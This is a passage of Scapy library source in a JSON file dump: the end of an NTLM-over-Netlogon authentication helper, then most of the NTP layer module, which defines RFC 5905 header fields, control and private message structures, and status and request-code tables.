else:\n                # Login via KerberosSSP (Windows 2025)\n                client.establish_secure_channel(\n                    mode=NETLOGON_SECURE_CHANNEL_METHOD.NetrServerAuthenticateKerberos,\n                    UPN=self.UPN,\n                    DC_FQDN=self.DC_FQDN,\n                    PASSWORD=self.PASSWORD,\n                    KEY=self.KEY,\n                    ssp=self.ssp,\n                )\n        except ValueError:\n            log_runtime.warning(\n                \"Couldn't establish the Netlogon secure channel. \"\n                \"Check the credentials for '%s' !\" % self.COMPUTER_NB_NAME\n            )\n            return super(NTLMSSP_DOMAIN, self)._getSessionBaseKey(Context, ntlm)\n\n        # Request validation of the NTLM request\n        req = NetrLogonSamLogonWithFlags_Request(\n            LogonServer=\"\",\n            ComputerName=self.COMPUTER_NB_NAME,\n            Authenticator=client.create_authenticator(),\n            ReturnAuthenticator=PNETLOGON_AUTHENTICATOR(),\n            LogonLevel=6,  # NetlogonNetworkTransitiveInformation\n            LogonInformation=NDRUnion(\n                tag=6,\n                value=PNETLOGON_NETWORK_INFO(\n                    Identity=NETLOGON_LOGON_IDENTITY_INFO(\n                        LogonDomainName=UNICODE_STRING(\n                            Buffer=ntlm.DomainName,\n                        ),\n                        ParameterControl=0x00002AE0,\n                        UserName=UNICODE_STRING(\n                            Buffer=ntlm.UserName,\n                        ),\n                        Workstation=UNICODE_STRING(\n                            Buffer=ntlm.Workstation,\n                        ),\n                    ),\n                    LmChallenge=Context.chall_tok.ServerChallenge,\n                    NtChallengeResponse=STRING(\n                        Buffer=bytes(ntlm.NtChallengeResponse),\n                    ),\n                    LmChallengeResponse=STRING(\n                        Buffer=bytes(ntlm.LmChallengeResponse),\n                    ),\n                ),\n            ),\n            ValidationLevel=6,\n            ExtraFlags=0,\n            ndr64=client.ndr64,\n        )\n\n        # Get response\n        resp = client.sr1_req(req)\n        if resp and resp.status == 0:\n            # Success\n\n            # Validate DC authenticator\n            client.validate_authenticator(resp.ReturnAuthenticator.value)\n\n            # Get and return the SessionKey\n            UserSessionKey = resp.ValidationInformation.value.value.UserSessionKey\n            return bytes(UserSessionKey)\n        else:\n            # Failed\n            return super(NTLMSSP_DOMAIN, self)._getSessionBaseKey(Context, ntlm)\n\n    def _checkLogin(self, Context, auth_tok):\n        # Always OK if we got the session key\n        return True\n"
  },
  {
    "path": "scapy/layers/ntp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nNTP (Network Time Protocol).\nReferences : RFC 5905, RC 1305, ntpd source code\n\"\"\"\n\nimport struct\nimport time\nimport datetime\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import (\n    BitEnumField,\n    BitField,\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    FieldLenField,\n    FieldListField,\n    FixedPointField,\n    FlagsField,\n    IP6Field,\n    IPField,\n    IntField,\n    LEIntField,\n    LEShortField,\n    MayEnd,\n    MultipleTypeField,\n    PacketField,\n    PacketListField,\n    PadField,\n    ShortField,\n    SignedByteField,\n    StrField,\n    StrFixedLenEnumField,\n    StrFixedLenField,\n    StrLenField,\n    XByteField,\n    XStrFixedLenField,\n)\nfrom scapy.layers.inet import UDP\nfrom scapy.utils import lhex\nfrom scapy.compat import orb\nfrom scapy.config import conf\n\n\n#############################################################################\n# Constants\n#############################################################################\n\n_NTP_AUTH_MD5_MIN_SIZE = 68\n_NTP_EXT_MIN_SIZE = 16\n_NTP_HDR_WITH_EXT_MIN_SIZE = _NTP_AUTH_MD5_MIN_SIZE + _NTP_EXT_MIN_SIZE\n_NTP_AUTH_MD5_TAIL_SIZE = 20\n_NTP_AUTH_MD5_DGST_SIZE = 16\n_NTP_PRIVATE_PACKET_MIN_SIZE = 8\n\n# ntpd \"Private\" messages are the shortest\n_NTP_PACKET_MIN_SIZE = _NTP_PRIVATE_PACKET_MIN_SIZE\n\n_NTP_PRIVATE_REQ_PKT_TAIL_LEN = 28\n\n# seconds between 01-01-1900 and 01-01-1970\n_NTP_BASETIME = 2208988800\n\n# include/ntp.h\n_NTP_SHIFT = 8\n_NTP_HASH_SIZE = 128\n\n\n#############################################################################\n#     Fields and utilities\n#############################################################################\n\nclass XLEShortField(LEShortField):\n    \"\"\"\n    XShortField which value is encoded in little endian.\n    \"\"\"\n\n    def i2repr(self, pkt, x):\n        return lhex(self.i2h(pkt, x))\n\n\nclass TimeStampField(FixedPointField):\n    \"\"\"\n    This field handles the timestamp fields in the NTP header.\n    \"\"\"\n\n    def __init__(self, name, default):\n        FixedPointField.__init__(self, name, default, 64, 32)\n\n    def i2repr(self, pkt, val):\n        if val is None:\n            return \"--\"\n        val = self.i2h(pkt, val)\n        if val < _NTP_BASETIME:\n            return str(val)\n        return time.strftime(\n            \"%a, %d %b %Y %H:%M:%S +0000\",\n            time.gmtime(int(val - _NTP_BASETIME))\n        )\n\n    def any2i(self, pkt, val):\n        if isinstance(val, str):\n            val = int(time.mktime(time.strptime(val))) + _NTP_BASETIME\n        elif isinstance(val, datetime.datetime):\n            val = int(val.strftime(\"%s\")) + _NTP_BASETIME\n        return FixedPointField.any2i(self, pkt, val)\n\n    def i2m(self, pkt, val):\n        if val is None:\n            val = FixedPointField.any2i(self, pkt, time.time() + _NTP_BASETIME)\n        return FixedPointField.i2m(self, pkt, val)\n\n\n#############################################################################\n#     NTP\n#############################################################################\n\n# RFC 5905 / Section 7.3\n_leap_indicator = {\n    0: \"no warning\",\n    1: \"last minute of the day has 61 seconds\",\n    2: \"last minute of the day has 59 seconds\",\n    3: \"unknown (clock unsynchronized)\"\n}\n\n\n# RFC 5905 / Section 7.3\n_ntp_modes = {\n    0: \"reserved\",\n    1: \"symmetric active\",\n    2: \"symmetric passive\",\n    3: \"client\",\n    4: \"server\",\n    5: \"broadcast\",\n    6: \"NTP control message\",\n    7: \"reserved for private use\"\n}\n\n\n# RFC 5905 / Section 7.3\n_reference_identifiers = {\n    b\"GOES\": \"Geosynchronous Orbit Environment Satellite\",\n    b\"GPS \": \"Global Position System\",\n    b\"GAL \": \"Galileo Positioning System\",\n    b\"PPS \": \"Generic pulse-per-second\",\n    b\"IRIG\": \"Inter-Range Instrumentation Group\",\n    b\"WWVB\": \"LF Radio WWVB Ft. Collins, CO 60 kHz\",\n    b\"DCF \": \"LF Radio DCF77 Mainflingen, DE 77.5 kHz\",\n    b\"HBG \": \"LF Radio HBG Prangins, HB 75 kHz\",\n    b\"MSF \": \"LF Radio MSF Anthorn, UK 60 kHz\",\n    b\"JJY \": \"LF Radio JJY Fukushima, JP 40 kHz, Saga, JP 60 kHz\",\n    b\"LORC\": \"MF Radio LORAN C station, 100 kHz\",\n    b\"TDF \": \"MF Radio Allouis, FR 162 kHz\",\n    b\"CHU \": \"HF Radio CHU Ottawa, Ontario\",\n    b\"WWV \": \"HF Radio WWV Ft. Collins, CO\",\n    b\"WWVH\": \"HF Radio WWVH Kauai, HI\",\n    b\"NIST\": \"NIST telephone modem\",\n    b\"ACTS\": \"NIST telephone modem\",\n    b\"USNO\": \"USNO telephone modem\",\n    b\"PTB \": \"European telephone modem\",\n}\n\n\n# RFC 5905 / Section 7.4\n_kiss_codes = {\n    \"ACST\": \"The association belongs to a unicast server.\",\n    \"AUTH\": \"Server authentication failed.\",\n    \"AUTO\": \"Autokey sequence failed.\",\n    \"BCST\": \"The association belongs to a broadcast server.\",\n    \"CRYP\": \"Cryptographic authentication or identification failed.\",\n    \"DENY\": \"Access denied by remote server.\",\n    \"DROP\": \"Lost peer in symmetric mode.\",\n    \"RSTR\": \"Access denied due to local policy.\",\n    \"INIT\": \"The association has not yet synchronized for the first time.\",\n    \"MCST\": \"The association belongs to a dynamically discovered server.\",\n    \"NKEY\": \"No key found.\",\n    \"RATE\": \"Rate exceeded.\",\n    \"RMOT\": \"Alteration of association from a remote host running ntpdc.\"\n}\n\n\n# Used by _ntp_dispatcher to instantiate the appropriate class\ndef _ntp_dispatcher(payload):\n    \"\"\"\n    Returns the right class for a given NTP packet.\n    \"\"\"\n    # By default, calling NTP() will build a NTP packet as defined in RFC 5905\n    # (see the code of NTPHeader). Use NTPHeader for extension fields and MAC.\n    if payload is None:\n        return NTPHeader\n    else:\n        length = len(payload)\n        if length >= _NTP_PACKET_MIN_SIZE:\n            first_byte = orb(payload[0])\n            # Extract NTP mode\n            mode = first_byte & 7\n            return {6: NTPControl, 7: NTPPrivate}.get(mode, NTPHeader)\n    return conf.raw_layer\n\n\nclass NTP(Packet):\n    \"\"\"\n    Base class that allows easier instantiation of a NTP packet from binary\n    data.\n    \"\"\"\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        \"\"\"\n        Returns the right class for the given data.\n        \"\"\"\n\n        return _ntp_dispatcher(_pkt)\n\n    def pre_dissect(self, s):\n        \"\"\"\n        Check that the payload is long enough to build a NTP packet.\n        \"\"\"\n        length = len(s)\n        if length < _NTP_PACKET_MIN_SIZE:\n            err = \" ({}\".format(length) + \" is < _NTP_PACKET_MIN_SIZE \"\n            err += \"({})).\".format(_NTP_PACKET_MIN_SIZE)\n            raise _NTPInvalidDataException(err)\n        return s\n\n    def mysummary(self):\n        return self.sprintf(\n            \"NTP v%ir,{0}.version%, %{0}.mode%\".format(self.__class__.__name__)\n        )\n\n\nclass _NTPAuthenticatorPaddingField(StrField):\n    \"\"\"\n    StrField handling the padding that may be found before the\n    \"authenticator\" field.\n    \"\"\"\n\n    def getfield(self, pkt, s):\n        ret = None\n        remain = s\n        length = len(s)\n\n        if length > _NTP_AUTH_MD5_TAIL_SIZE:\n            start = length - _NTP_AUTH_MD5_TAIL_SIZE\n            ret = s[:start]\n            remain = s[start:]\n        return remain, ret\n\n\nclass NTPAuthenticator(Packet):\n    \"\"\"\n    Packet handling the \"authenticator\" part of a NTP packet, as\n    defined in RFC 5905.\n    \"\"\"\n\n    name = \"Authenticator\"\n    fields_desc = [\n        _NTPAuthenticatorPaddingField(\"padding\", \"\"),\n        IntField(\"key_id\", 0),\n        XStrFixedLenField(\"dgst\", \"\", length_from=lambda x: 16)\n    ]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass NTPExtension(Packet):\n    \"\"\"\n    Packet handling a NTPv4 extension.\n    \"\"\"\n\n    #########################################################################\n    #\n    # RFC 7822\n    #########################################################################\n    #\n    # 7.5.  NTP Extension Field Format\n    #\n    #    In NTPv3, one or more extension fields can be inserted after the\n    #    header and before the MAC, if a MAC is present.\n    #\n    #    Other than defining the field format, this document makes no use\n    #    of the field contents.  An extension field contains a request or\n    #    response message in the format shown in Figure 14.\n    #\n    #     0                   1                   2                   3\n    #     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n    #    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #    |          Field Type           |            Length             |\n    #    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #    .                                                               .\n    #    .                            Value                              .\n    #    .                                                               .\n    #    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #    |                       Padding (as needed)                     |\n    #    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #\n    #                    Figure 14: Extension Field Format\n    #\n    #\n    #    All extension fields are zero-padded to a word (four octets)\n    #    boundary.\n    #########################################################################\n    #\n\n    name = \"extension\"\n    fields_desc = [\n        ShortField(\"type\", 0),\n        ShortField(\"len\", 0),\n        PadField(PacketField(\"value\", \"\", Packet), align=4, padwith=b\"\\x00\")\n    ]\n\n\nclass NTPExtPacketListField(PacketListField):\n\n    \"\"\"\n    PacketListField handling NTPv4 extensions (NTPExtension list).\n    \"\"\"\n\n    def m2i(self, pkt, m):\n        ret = None\n        if len(m) >= 16:\n            ret = NTPExtension(m)\n        else:\n            ret = conf.raw_layer(m)\n        return ret\n\n    def getfield(self, pkt, s):\n        lst = []\n        remain = s\n        length = len(s)\n        if length > _NTP_AUTH_MD5_TAIL_SIZE:\n            end = length - _NTP_AUTH_MD5_TAIL_SIZE\n            extensions = s[:end]\n            remain = s[end:]\n\n            extensions_len = len(extensions)\n            while extensions_len >= 16:\n                ext_len = struct.unpack(\"!H\", extensions[2:4])[0]\n                ext_len = min(ext_len, extensions_len)\n                if ext_len < 1:\n                    ext_len = extensions_len\n                current = extensions[:ext_len]\n                extensions = extensions[ext_len:]\n                current_packet = self.m2i(pkt, current)\n                lst.append(current_packet)\n                extensions_len = len(extensions)\n\n            if extensions_len > 0:\n                lst.append(self.m2i(pkt, extensions))\n\n        return remain, lst\n\n\nclass NTPExtensions(Packet):\n    \"\"\"\n    Packet handling the NTPv4 extensions and the \"MAC part\" of the packet.\n    \"\"\"\n\n    #########################################################################\n    #\n    # RFC 5905 / RFC 7822\n    #########################################################################\n    #\n    # 7.5. NTP Extension Field Format\n    #\n    # In NTPv4, one or more extension fields can be inserted after the\n    # header and before the MAC, if a MAC is present.\n    #########################################################################\n    #\n\n    name = \"NTPv4 extensions\"\n    fields_desc = [\n        NTPExtPacketListField(\"extensions\", [], Packet),\n        PacketField(\"mac\", NTPAuthenticator(), NTPAuthenticator)\n    ]\n\n\nclass NTPHeader(NTP):\n\n    \"\"\"\n    Packet handling the RFC 5905 NTP packet.\n    \"\"\"\n\n    #########################################################################\n    #\n    # RFC 5905\n    #########################################################################\n    #\n    #   0                   1                   2                   3\n    #   0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #  |LI | VN  |Mode |    Stratum     |     Poll      |  Precision   |\n    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #  |                         Root Delay                            |\n    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #  |                         Root Dispersion                       |\n    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #  |                          Reference ID                         |\n    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #  |                                                               |\n    #  +                     Reference Timestamp (64)                  +\n    #  |                                                               |\n    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #  |                                                               |\n    #  +                      Origin Timestamp (64)                    +\n    #  |                                                               |\n    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #  |                                                               |\n    #  +                      Receive Timestamp (64)                   +\n    #  |                                                               |\n    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #  |                                                               |\n    #  +                      Transmit Timestamp (64)                  +\n    #  |                                                               |\n    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #  |                                                               |\n    #  .                                                               .\n    #  .                    Extension Field 1 (variable)               .\n    #  .                                                               .\n    #  |                                                               |\n    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #  |                                                               |\n    #  .                                                               .\n    #  .                    Extension Field 2 (variable)               .\n    #  .                                                               .\n    #  |                                                               |\n    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #  |                          Key Identifier                       |\n    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #  |                                                               |\n    #  |                            dgst (128)                         |\n    #  |                                                               |\n    #  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    #\n    #                  Figure 8: Packet Header Format\n    #########################################################################\n    #\n\n    name = \"NTPHeader\"\n    match_subclass = True\n    fields_desc = [\n        BitEnumField(\"leap\", 0, 2, _leap_indicator),\n        BitField(\"version\", 4, 3),\n        BitEnumField(\"mode\", 3, 3, _ntp_modes),\n        BitField(\"stratum\", 2, 8),\n        SignedByteField(\"poll\", 0xa),\n        SignedByteField(\"precision\", 0),\n        FixedPointField(\"delay\", 0, size=32, frac_bits=16),\n        FixedPointField(\"dispersion\", 0, size=32, frac_bits=16),\n        ConditionalField(IPField(\"id\", \"127.0.0.1\"), lambda p: p.stratum > 1),\n        ConditionalField(\n            StrFixedLenEnumField(\n                \"ref_id\",\n                \"\",\n                length=4,\n                enum=_reference_identifiers\n            ),\n            lambda p: p.stratum < 2\n        ),\n        TimeStampField(\"ref\", 0),\n        TimeStampField(\"orig\", None),\n        TimeStampField(\"recv\", 0),\n        TimeStampField(\"sent\", None),\n    ]\n\n    def guess_payload_class(self, payload):\n        \"\"\"\n        Handles NTPv4 extensions and MAC part (when authentication is used.)\n        \"\"\"\n        plen = len(payload)\n\n        if plen - 4 in [16, 20, 32, 64]:  # length of MD5, SHA1, SHA256, SHA512\n            return NTPAuthenticator\n        elif plen > _NTP_AUTH_MD5_TAIL_SIZE:\n            return NTPExtensions\n\n        return Packet.guess_payload_class(self, payload)\n\n\nclass _NTPInvalidDataException(Exception):\n    \"\"\"\n    Raised when it is not possible to instantiate a NTP packet with the\n    given data.\n    \"\"\"\n\n    def __init__(self, details):\n        Exception.__init__(\n            self,\n            \"Data does not seem to be a valid NTP message\" + details\n        )\n\n\n##############################################################################\n#     Private (mode 7)\n##############################################################################\n\n# Operation codes\n_op_codes = {\n    0: \"CTL_OP_UNSPEC\",\n    1: \"CTL_OP_READSTAT\",\n    2: \"CTL_OP_READVAR\",\n    3: \"CTL_OP_WRITEVAR\",\n    4: \"CTL_OP_READCLOCK\",\n    5: \"CTL_OP_WRITECLOCK\",\n    6: \"CTL_OP_SETTRAP\",\n    7: \"CTL_OP_ASYNCMSG\",\n    8: \"CTL_OP_CONFIGURE\",\n    9: \"CTL_OP_SAVECONFIG\",\n    10: \"CTL_OP_READ_MRU\",\n    11: \"CTL_OP_READ_ORDLIST_A\",\n    12: \"CTL_OP_REQ_NONCE\",\n    31: \"CTL_OP_UNSETTRAP\"\n}\n\n\n# System status words\n_system_statuses = {\n    0: \"no warning\",\n    1: \"last minute was 61 seconds\",\n    2: \"last minute was 59 seconds\",\n    3: \"alarm condition (clock not synchronized)\"\n}\n\n\n_clock_sources = {\n    0: \"unspecified or unknown\",\n    1: \" Calibrated atomic clock\",\n    2: \"VLF (band 4) or LF (band 5) radio\",\n    3: \"HF (band 7) radio\",\n    4: \"UHF (band 9) satellite\",\n    5: \"local net\",\n    6: \"UDP/NTP\",\n    7: \"UDP/TIME\",\n    8: \"eyeball-and-wristwatch\",\n    9: \"telephone modem\"\n}\n\n\n_system_event_codes = {\n    0: \"unspecified\",\n    1: \"system restart\",\n    2: \"system or hardware fault\",\n    3: \"system new status word (leap bits or synchronization change)\",\n    4: \"system new synchronization source or stratum (sys.peer or sys.stratum change)\",  # noqa: E501\n    5: \"system clock reset (offset correction exceeds CLOCK.MAX)\",\n    6: \"system invalid time or date\",\n    7: \"system clock exception\",\n}\n\n\n# Peer status words\n_peer_statuses = {\n    0: \"configured\",\n    1: \"authentication enabled\",\n    2: \"authentication okay\",\n    3: \"reachability okay\",\n    4: \"reserved\"\n}\n\n\n_peer_selection = {\n    0: \"rejected\",\n    1: \"passed sanity checks\",\n    2: \"passed correctness checks\",\n    3: \"passed candidate checks\",\n    4: \"passed outlyer checks\",\n    5: \"current synchronization source; max distance exceeded\",\n    6: \"current synchronization source; max distance okay\",\n    7: \"reserved\"\n}\n\n\n_peer_event_codes = {\n    0: \"unspecified\",\n    1: \"peer IP error\",\n    2: \"peer authentication failure\",\n    3: \"peer unreachable\",\n    4: \"peer reachable\",\n    5: \"peer clock exception\",\n}\n\n\n# Clock status words\n_clock_statuses = {\n    0: \"clock operating within nominals\",\n    1: \"reply timeout\",\n    2: \"bad reply format\",\n    3: \"hardware or software fault\",\n    4: \"propagation failure\",\n    5: \"bad date format or value\",\n    6: \"bad time format or value\"\n}\n\n\n# Error status words\n_error_statuses = {\n    0: \"unspecified\",\n    1: \"authentication failure\",\n    2: \"invalid message length or format\",\n    3: \"invalid opcode\",\n    4: \"unknown association identifier\",\n    5: \"unknown variable name\",\n    6: \"invalid variable value\",\n    7: \"administratively prohibited\"\n}\n\n\nclass NTPSystemStatusPacket(Packet):\n\n    \"\"\"\n    Packet handling the system status fields.\n    \"\"\"\n\n    name = \"system status\"\n    fields_desc = [\n        BitEnumField(\"leap_indicator\", 0, 2, _system_statuses),\n        BitEnumField(\"clock_source\", 0, 6, _clock_sources),\n        BitField(\"system_event_counter\", 0, 4),\n        BitEnumField(\"system_event_code\", 0, 4, _system_event_codes),\n    ]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass NTPPeerStatusPacket(Packet):\n    \"\"\"\n    Packet handling the peer status fields.\n    \"\"\"\n\n    name = \"peer status\"\n    fields_desc = [\n        BitField(\"configured\", 0, 1),\n        BitField(\"auth_enabled\", 0, 1),\n        BitField(\"authentic\", 0, 1),\n        BitField(\"reachability\", 0, 1),\n        BitField(\"reserved\", 0, 1),\n        BitEnumField(\"peer_sel\", 0, 3, _peer_selection),\n        BitField(\"peer_event_counter\", 0, 4),\n        BitEnumField(\"peer_event_code\", 0, 4, _peer_event_codes),\n    ]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass NTPClockStatusPacket(Packet):\n    \"\"\"\n    Packet handling the clock status fields.\n    \"\"\"\n\n    name = \"clock status\"\n    fields_desc = [\n        BitEnumField(\"clock_status\", 0, 8, _clock_statuses),\n        BitField(\"code\", 0, 8)\n    ]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass NTPErrorStatusPacket(Packet):\n    \"\"\"\n    Packet handling the error status fields.\n    \"\"\"\n\n    name = \"error status\"\n    fields_desc = [\n        BitEnumField(\"error_code\", 0, 8, _error_statuses),\n        BitField(\"reserved\", 0, 8)\n    ]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass NTPPeerStatusDataPacket(Packet):\n    \"\"\"\n    Packet handling the data field when op_code is CTL_OP_READSTAT\n    and the association_id field is null.\n    \"\"\"\n\n    name = \"data / peer status\"\n    fields_desc = [\n        ShortField(\"association_id\", 0),\n        PacketField(\"peer_status\", NTPPeerStatusPacket(), NTPPeerStatusPacket),\n    ]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass NTPControlStatusField(PacketField):\n    \"\"\"\n    The various types of the \"status\" field.\n    \"\"\"\n    # RFC 9327 sect 3\n    def m2i(self, pkt, m):\n        association_id = struct.unpack(\"!H\", m[2:4])[0]\n\n        if pkt.err == 1:\n            return NTPErrorStatusPacket(m)\n        elif pkt.op_code in [4, 5]:  # Read/write clock\n            return NTPClockStatusPacket(m)\n        else:\n            if association_id != 0:\n                return NTPPeerStatusPacket(m)\n            else:\n                return NTPSystemStatusPacket(m)\n\n\nclass NTPControl(NTP):\n    \"\"\"\n    Packet handling NTP mode 6 / \"Control\" messages.\n    \"\"\"\n    deprecated_fields = {\n        \"status_word\": (\"status\", \"2.6.2\"),\n    }\n    # RFC 9327 sect 2\n    name = \"NTP Control message\"\n    match_subclass = True\n    fields_desc = [\n        BitEnumField(\"leap\", 0, 2, _leap_indicator),\n        BitField(\"version\", 2, 3),\n        BitEnumField(\"mode\", 6, 3, _ntp_modes),\n        BitField(\"response\", 0, 1),\n        BitField(\"err\", 0, 1),\n        BitField(\"more\", 0, 1),\n        BitEnumField(\"op_code\", 0, 5, _op_codes),\n        ShortField(\"sequence\", 0),\n        MultipleTypeField(\n            [\n                (\n                    ShortField(\"status\", 0),\n                    lambda pkt: pkt.response == 0 or pkt.op_code in [6, 7]\n                )\n            ],\n            NTPControlStatusField(\"status\", NTPSystemStatusPacket(), None),\n        ),\n        ShortField(\"association_id\", 0),\n        ShortField(\"offset\", 0),\n        FieldLenField(\"count\", None, length_of=\"data\"),\n        MayEnd(\n            PadField(\n                MultipleTypeField(\n                    # RFC 1305\n                    [\n                        (\n                            PacketListField(\n                                \"data\",\n                                \"\",\n                                NTPPeerStatusDataPacket,\n                                length_from=lambda p: p.count,\n                            ),\n                            lambda pkt: (\n                                pkt.response and\n                                pkt.op_code == 1 and\n                                pkt.association_id == 0\n                            )\n                        ),\n                    ],\n                    StrLenField(\"data\", \"\", length_from=lambda pkt: pkt.count),\n                ),\n                align=4\n            )\n        ),\n        PacketField(\"authenticator\", \"\", NTPAuthenticator),\n    ]\n\n\n##############################################################################\n#     Private (mode 7)\n##############################################################################\n\n_information_error_codes = {\n    0: \"INFO_OKAY\",\n    1: \"INFO_ERR_IMPL\",\n    2: \"INFO_ERR_REQ\",\n    3: \"INFO_ERR_FMT\",\n    4: \"INFO_ERR_NODATA\",\n    7: \"INFO_ERR_AUTH\"\n}\n\n\n_implementations = {\n    0: \"IMPL_UNIV\",\n    2: \"IMPL_XNTPD_OLD\",\n    3: \"XNTPD\"\n}\n\n\n_request_codes = {\n    0: \"REQ_PEER_LIST\",\n    1: \"REQ_PEER_LIST_SUM\",\n    2: \"REQ_PEER_INFO\",\n    3: \"REQ_PEER_STATS\",\n    4: \"REQ_SYS_INFO\",\n    5: \"REQ_SYS_STATS\",\n    6: \"REQ_IO_STATS\",\n    7: \"REQ_MEM_STATS\",\n    8: \"REQ_LOOP_INFO\",\n    9: \"REQ_TIMER_STATS\",\n    10: \"REQ_CONFIG\",\n    11: \"REQ_UNCONFIG\",\n    12: \"REQ_SET_SYS_FLAG\",\n    13: \"REQ_CLR_SYS_FLAG\",\n    14: \"REQ_MONITOR\",\n    15: \"REQ_NOMONITOR\",\n    16: \"REQ_GET_RESTRICT\",\n    17: \"REQ_RESADDFLAGS\",\n    18: \"REQ_RESSUBFLAGS\",\n    19: \"REQ_UNRESTRICT\",\n    20: \"REQ_MON_GETLIST\",\n    21: \"REQ_RESET_STATS\",\n    22: \"REQ_RESET_PEER\",\n    23: \"REQ_REREAD_KEYS\",\n    24: \"REQ_DO_DIRTY_HACK\",\n    25: \"REQ_DONT_DIRTY_HACK\",\n    26: \"REQ_TRUSTKEY\",\n    27: \"REQ_UNTRUSTKEY\",\n    28: \"REQ_AUTHINFO\",\n    29: \"REQ_TRAPS\",\n    30: \"REQ_ADD_TRAP\",\n    31: \"REQ_CLR_TRAP\",\n    32: \"REQ_REQUEST_KEY\",\n    33: \"REQ_CONTROL_KEY\",\n    34: \"REQ_GET_CTLSTATS\",\n    35: \"REQ_GET_LEAPINFO\",\n    36: \"REQ_GET_CLOCKINFO\",\n    37: \"REQ_SET_CLKFUDGE\",\n    38: \"REQ_GET_KERNEL\",\n    39: \"REQ_GET_CLKBUGINFO\",\n    41: \"REQ_SET_PRECISION\",\n    42: \"REQ_MON_GETLIST_1\",\n    43: \"REQ_HOSTNAME_ASSOCID\",\n    44: \"REQ_IF_STATS\",\n    45: \"REQ_IF_RELOAD\"\n}\n\n\n# Flags in the peer information returns\n_peer_flags = [\n    \"INFO_FLAG_CONFIG\",\n    \"INFO_FLAG_SYSPEER\",\n    \"INFO_FLAG_BURST\",\n    \"INFO_FLAG_REFCLOCK\",\n    \"INFO_FLAG_PREFER\",\n    \"INFO_FLAG_AUTHENABLE\",\n    \"INFO_FLAG_SEL_CANDIDATE\",\n    \"INFO_FLAG_SHORTLIST\",\n    \"INFO_FLAG_IBURST\"\n]\n\n\n# Flags in the system information returns\n_sys_info_flags = [\n    \"INFO_FLAG_BCLIENT\",\n    \"INFO_FLAG_AUTHENTICATE\",\n    \"INFO_FLAG_NTP\",\n    \"INFO_FLAG_KERNEL\",\n    \"INFO_FLAG_CAL\",\n    \"INFO_FLAG_PPS_SYNC\",\n    \"INFO_FLAG_MONITOR\",\n    \"INFO_FLAG_FILEGEN\",\n]\n\n\nclass NTPInfoPeerList(Packet):\n\n    \"\"\"\n    Used to return raw lists of peers.\n    \"\"\"\n    name = \"info_peer_list\"\n    fields_desc = [\n        IPField(\"addr\", \"0.0.0.0\"),\n        ShortField(\"port\", 0),\n        ByteEnumField(\"hmode\", 0, _ntp_modes),\n        FlagsField(\"flags\", 0, 8, _peer_flags),\n        IntField(\"v6_flag\", 0),\n        IntField(\"unused1\", 0),\n        IP6Field(\"addr6\", \"::\")\n    ]\n\n\nclass NTPInfoPeerSummary(Packet):\n    \"\"\"\n    Sort of the info that ntpdc returns by default.\n    \"\"\"\n    name = \"info_peer_summary\"\n    fields_desc = [\n        IPField(\"dstaddr\", \"0.0.0.0\"),\n        IPField(\"srcaddr\", \"0.0.0.0\"),\n        ShortField(\"srcport\", 0),\n        ByteField(\"stratum\", 0),\n        ByteField(\"hpoll\", 0),\n        ByteField(\"ppoll\", 0),\n        ByteField(\"reach\", 0),\n        FlagsField(\"flags\", 0, 8, _peer_flags),\n        ByteField(\"hmode\", _ntp_modes),\n        FixedPointField(\"delay\", 0, size=32, frac_bits=16),\n        TimeStampField(\"offset\", 0),\n        